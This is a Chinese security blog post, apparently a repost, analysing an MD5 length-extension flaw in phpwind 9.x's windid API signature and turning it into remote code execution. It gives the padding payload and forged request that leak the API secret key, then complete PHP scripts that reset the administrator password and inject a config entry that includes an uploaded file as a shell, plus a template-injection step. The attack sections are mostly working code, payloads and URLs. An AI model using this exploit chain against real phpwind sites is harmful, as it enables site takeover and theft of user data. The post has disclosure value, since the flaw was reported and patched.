神刀安全网

phpwind9.x的Md5 Padding Extension漏洞分析

0x00 前言

这是一个比较有意思的漏洞,漏洞已经在乌云网上提交(http://www.wooyun.org/bugs/wooyun-2016-0210850),官方也已经发布了补丁(http://www.phpwind.net/read/3709549),并且安全研究员phithon也第一时间发出了他的漏洞分析http://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html,其实内容基本一致,不过关键还是在于如何直接GetShell上。不以GetShell为目的的代码审计都是耍流氓。

0x01 简介

phpwind是采用PHP+MySQL方式运行的开源社区程序。轻架构,高效率简易开发,助你快速搭建并轻松管理社区站点。面向移动互联网应用需求,PW还提供移动社区客户端,把社区站点从PC迁移到手机,实现应用、数据融合互通,一站式多终端服务,确保用户体验自然过渡。

0x02 某接口

windidserver在有$secretkey的情况下是可以做很多事情的,包括操作用户的所有信息,更改配置等。

phpwind9.x的Md5 Padding Extension漏洞分析

前面也存在过漏洞 http://www.wooyun.org/bugs/wooyun-2014-072727 不过新版本修复了。

0x03 接口验证缺陷

windidserver 接口的验证代码如下:

/src/applications/windidserver/api/controller/OpenBaseController.php

public  function beforeAction($handlerAdapter) {   parent::beforeAction($handlerAdapter);   $charset = 'utf-8';   $_windidkey = $this->getInput('windidkey', 'get');   $_time = (int)$this->getInput('time', 'get');   $_clientid = (int)$this->getInput('clientid', 'get');   if (!$_time || !$_clientid) $this->output(WindidError::FAIL);   $clent = $this->_getAppDs()->getApp($_clientid);   if (!$clent) $this->output(WindidError::FAIL);    if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);      $time = Pw::getTime();   if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);   $this->appid = $_clientid;  }

跟进 WindidUtility::appKey/src/windid/service/base/WindidUtility.php

public static function appKey($apiId, $time, $secretkey, $get, $post) {   // 注意这里需要加上__data,因为下面的buildRequest()里加了。   $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',         'Filename', 'Upload', 'token', '__data');   $str = '';   ksort($get);   ksort($post);   foreach ($get AS $k=>$v) {    if (in_array($k, $array)) continue;    $str .=$k.$v;   }   foreach ($post AS $k=>$v) {    if (in_array($k, $array)) continue;    $str .=$k.$v;   }   return md5(md5($apiId.'||'.$secretkey).$time.$str);  }

简单看起来,好像验证非常完美,请求的所有GET,POST都加入 secretkey 签名中,除非得到secretkey,不然好像也没什么可能绕过的样子。

我们再来细致分析下,$apiId可知,$time也可以从URL中获取,而$str,是GET,POST参数形成,在某种情况下也是可以知道的,可以控制的。当然暴力破解$secretkey基本不现实。但再细看,签名中密码长度是可以知道的

phpwind9.x的Md5 Padding Extension漏洞分析 这不是可以存在md5 padding 么?

0x04 查找利用点

虽然缺陷存在,但存在和能利用完全是两回事。于是查找所有调用 WindidUtility::appKey 的地方

phpwind9.x的Md5 Padding Extension漏洞分析 看来调用的地方着实不多呀,我们能获取已知加密后签名windidkey的地方好像只有

phpwind9.x的Md5 Padding Extension漏洞分析 上传头像的地方,而且这个地方普通注册用户就可以获取到。

我们再来看看

$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array('uid'=>'undefined'));

GET 参数有

array(‘uid’=>$uid, ‘type’=>’flash’, ‘m’=>’api’, ‘a’=>’doAvatar’, ‘c’=>’avatar’)

POST

array(‘uid’=>’undefined’)

经过参数排序后,加密$str即为:

adoAvatarcavatarmapitypeflashuid2uidundefined

即头像上传页面中http://127.0.0.1/index.php?m=profile&c=avatar&_left=avatar

<param name="FlashVars" value="postAction=ra_postAction&redirectURL=/&requestURL=http%3A%2F%2F127.0.0.1%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D2%26windidkey%3D743fdf975fc5f1ad123ed308f4a73588%26time%3D1463713559%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F127.0.0.1%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F2.jpg%3Fr%3D38651"/>

phpwind9.x的Md5 Padding Extension漏洞分析 http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=743fdf975fc5f1ad123ed308f4a73588&time=1463713559&clientid=1&type=flash

其中 $array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,

‘Filename’, ‘Upload’, ‘token’, ‘__data’);

不加入签名

POST只有 array(‘uid’=>’undefined’)

windidkey = md5( 32位md5 + 1463713559 + adoAvatarcavatarmapitypeflashuid2uidundefined ) == 743fdf975fc5f1ad123ed308f4a73588

那么我们利用的目标是改变参数 c 和 a ,从而达到调用API中其它方法的目的。问题来了

$array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',         'Filename', 'Upload', 'token', '__data');   $str = '';   ksort($get);   ksort($post);   foreach ($get AS $k=>$v) {    if (in_array($k, $array)) continue;    $str .=$k.$v;   }   foreach ($post AS $k=>$v) {    if (in_array($k, $array)) continue;    $str .=$k.$v;         }

windidkey签名是输入参数的排序,a必定是排在前面,并且如何改变m、c、a的值,使得前面部分加密效果一致呢?

我们再看看 $str 是 $k + $v ,组成的 adoAvatarcavatarmapitypeflashuid2uidundefined

那么,我们是不是可以直接输入 adoAvatarcavatarmapitypeflashuid=2uidundefined,这样的参数,而不影响加密结果呢?

参数排序也是一个严重的问题,如果可以把我们注入的内容放在后面,那么就好办多了。

POST参数永远在后面,于是我想了想,m、c、a是否也是可以接受POST的值呢。

/**   * 默认路由处理   */  public function defaultRoute() {   $this->action = $this->request->getRequest($this->actionKey, $this->_action);   $this->controller = $this->request->getRequest($this->controllerKey, $this->_controller);   $this->module = $this->request->getRequest($this->moduleKey, $this->_module);  }   public function getRequest($key = null, $defaultValue = null) {   if (!$key) return array_merge($_POST, $_GET);   if (isset($_GET[$key])) return $_GET[$key];   if (isset($_POST[$key])) return $_POST[$key];   return $defaultValue;  }

好了,万事俱备了。

0x05 漏洞利用

分析到这里,容我刷新一下key,因为超时了。

新链接为:

http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=21bd66932ce99a763e3e8862c7ce7300&time=1463715092&clientid=1&type=flash

adoAvatarcavatarmapitypeflashuid2uidundefined

md5( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) = 21bd66932ce99a763e3e8862c7ce7300

strlen( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) == 87

例如我们要调用的方法为:m=api&c=app&a=list,经过参数处理,即为:alistcappmapi拿出 md5 padding 神器

phpwind9.x的Md5 Padding Extension漏洞分析 Payload: ‘/x80/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xb8/x02/x00/x00/x00/x00/x00/x00alistcappmapi’

Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00alistcappmapiMD5 after padding: a652e10c436dfd00815d552afa6ad1c5

URL:http://127.0.0.1/windid/index.php?adoAvatarcavatarmapitypeflashuid=&windidkey=a652e10c436dfd00815d552afa6ad1c5&time=1463715092&clientid=1

POST2uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00&m=api&c=app&a=list

phpwind9.x的Md5 Padding Extension漏洞分析 从而获得 “secretkey”:”265c8be71570f96265e467c41784bace”

0x06 从secretkey到命令执行

在乌云提交的报告中,我对GetShell是轻描淡写的,一个简单的XSS,CSRF也是可以GetShell呢。更何况是可以控制用户(包括前台管理员),和大部分的配置了。下面我就简单提两种直接GetShell方式。

第一种,是我简单提到的http://www.wooyun.org/bugs/wooyun-2016-0175518(官方认为是正常功能)其实不用登陆后台,前台也是能直接利用的。不过方式比较暴力,不是太推荐

首先直接修改管理员密码

<?php

$secretkey = ‘secretkey’;

$c = ‘User’;

$a = ‘editUser’;

$data = array(‘uid’=>’1′,’password’=>’admin’ );

$time = time();

$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);

echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”/r/n”;

function post($uri,$data) {

$data = http_build_query($data);

$opts = array(

‘http’=>array(

‘method’=>”POST”,

‘header’=>”Content-type: application/x-www-form-urlencoded/r/n”.

“Content-length:”.strlen($data).”/r/n” .

“/r/n”,

‘content’ => $data,

)

);

$cxContext = stream_context_create($opts);

$sFile = file_get_contents($uri, false, $cxContext);

return $sFile ;

}

function appKey($apiId, $time, $secretkey, $get, $post) {

$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);

$str = ”;

ksort($get);

ksort($post);

foreach ($get AS $k=>$v) {

if (in_array($k, $array)) continue;

$str .=$k.$v;

}

foreach ($post AS $k=>$v) {

if (in_array($k, $array)) continue;

$str .=$k.$v;

}

return md5(md5($apiId.’||’.$secretkey).$time.$str);

}

修改完后登陆,创建自定义模板

http://127.0.0.1/index.php?m=design&c=property&a=doadd

post

csrf_token=18c1f2c2e7fe6095&model=html&module_name=test&property[html]=<?php phpinfo();?>&pageid=1

注:csrf_token 请在查看源码中找。

phpwind9.x的Md5 Padding Extension漏洞分析 http://127.0.0.1/index.php?m=design&c=design&a=modulecsrf_token=bd2e04d468ec5f70&moduleid=3

phpwind9.x的Md5 Padding Extension漏洞分析 这里的moduleid是动态的,也就是添加后的总数,默认情况是3,一般系统也不会添加太多,遍列一下就行。

第二种GetShell方式还是比较有意思的。

前面说到,API接口可以更改一些配置信息。

在入口类中src/wekit.php

public static function run($name = ‘phpwind’, $components = array()) {

self::init($name);

if (!empty($components)) self::$_sc[‘components’] = (array)$components + self::$_sc[‘components’];

/* @var $application WindWebFrontController */

$application = Wind::application($name, self::$_sc);

$application->registeFilter(new PwFrontFilters($application));

$application->run();

}

跟进PwFrontFilters

public function onCreate() {Wekit::createapp(Wind::getAppName());

$_debug = Wekit::C(‘site’, ‘debug’);

if ($_debug == !Wind::$isDebug) Wind::$isDebug = $_debug;

error_reporting($_debug ? E_ALL ^ E_NOTICE ^ E_DEPRECATED : E_ERROR | E_PARSE);

set_error_handler(array($this->front, ‘_errorHandle’), error_reporting());

$this->_convertCharsetForAjax();

if ($components = Wekit::C(‘components’)) {

Wind::getApp()->getFactory()->loadClassDefinitions($components);

}

}

可以看到,系统初始化时会加载配置表中pw_windid_config的components组件配置,配置中是用来定义类的路径、默认参数、初始化时的方法等。即我们可以控制系统加载的类路径和初始化的一些东东,由于代码太多,我只贴出关键部分,再来跟进

/wind/base/WindFactory.php

public function getInstance($alias, $args = array()) {

$instance = null;

$definition = isset($this->classDefinitions[$alias]) ? $this->classDefinitions[$alias] : array();

if (isset($this->prototype[$alias])) {

$instance = clone $this->prototype[$alias];

if (isset($definition[‘destroy’])) $this->destories[] = array($instance, $definition[‘destroy’]);

} elseif (isset($this->instances[$alias])) {

$instance = $this->instances[$alias];

} elseif (isset($this->singleton[$alias])) {

$instance = $this->singleton[$alias];

} else {

if (!$definition) return null;

$_unscope = empty($args);

if (isset($definition[‘constructor-args’]) && $_unscope) $this->buildArgs($definition[‘constructor-args’],

$args);

if (!isset($definition[‘className’])) $definition[‘className’] = Wind::import(@$definition[‘path’]);

$instance = $this->createInstance($definition[‘className’], $args);

if (isset($definition[‘config’])) $this->resolveConfig($definition[‘config’], $alias, $instance);

if (isset($definition[‘properties’])) $this->buildProperties($definition[‘properties’], $instance);

if (isset($definition[‘initMethod’])) $this->executeInitMethod($definition[‘initMethod’], $instance);

!isset($definition[‘scope’]) && $definition[‘scope’] = ‘application’;

$_unscope && $this->setScope($alias, $definition[‘scope’], $instance);

if (isset($definition[‘destroy’])) $this->destories[$alias] = array($instance, $definition[‘destroy’]);

}

if (isset($definition[‘proxy’])) {

$listeners = isset($definition[‘listeners’]) ? $definition[‘listeners’] : array();

$instance = $this->setProxyForClass($definition[‘proxy’], $listeners, $instance);

}

return $instance;

}

这个类就是主要来加载表中pw_windid_config components的定义及创建实例是的一些默认配置。有意思的是,这里还是比较多的限制,有几种方式,最简单的就是更改$definition[‘path’],造成文件包含,但这里涉及到php截断的问题(系统默认是.php后辍),简单而不通用。

另外的方法就是在系统中找可以利用的类,限制条件是初始化是可以传默认参数,可以有set方法设置单一属性,可以调用任意方法,但不能传参。哈,有兴趣的同学可以自己研究一下。于是在系统中找吧,找能利用的类。

我提出两个类,大家可以研究下

/wind/mail/sender/WindSendMail.php

src/library/engine/extension/cache/PwFileCache.php

详细不说了,POC如下

<?php

$secretkey = ‘265c8be71570f96265e467c41784bace’;

$c = ‘config’;

$a = ‘setconfig’;

$data = array(‘namespace’=>’components’,’key’=>’windView’,’value’=> array(‘path’=>’SRC:library.engine.extension.cache.PwFileCache’,’initMethod’=>’get’,’properties’=>array(‘delay’=>’false’,’Config’=>array(‘value’=>array(‘security-code’=>’../../attachment/1605/thread/2_1_1542e6411847d69′) ))) );

$time = time();$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);

echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”/r/n”;

function post($uri,$data) {

$data = http_build_query($data);

$opts = array(

‘http’=>array(

‘method’=>”POST”,

‘header’=>”Content-type: application/x-www-form-urlencoded/r/n”.

“Content-length:”.strlen($data).”/r/n” .

“/r/n”,

‘content’ => $data,

)

);

$cxContext = stream_context_create($opts);

$sFile = file_get_contents($uri, false, $cxContext);

return $sFile ;

}

function appKey($apiId, $time, $secretkey, $get, $post) {

$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);

$str = ”;

ksort($get);

ksort($post);

foreach ($get AS $k=>$v) {

if (in_array($k, $array)) continue;

$str .=$k.$v;

}

foreach ($post AS $k=>$v) {

if (in_array($k, $array)) continue;

$str .=$k.$v;

}

return md5(md5($apiId.’||’.$secretkey).$time.$str);

}

?>

security-code 就是上传的txt附件,路径怎么得到?请查看源码。

执行poc后,再请求

http://127.0.0.1/windid/index.php,就是shell了(其它页面应该也是可以)

phpwind9.x的Md5 Padding Extension漏洞分析 说得有点多了,不过总体起来,这还是一个比较有意思的漏洞。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » phpwind9.x的Md5 Padding Extension漏洞分析

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址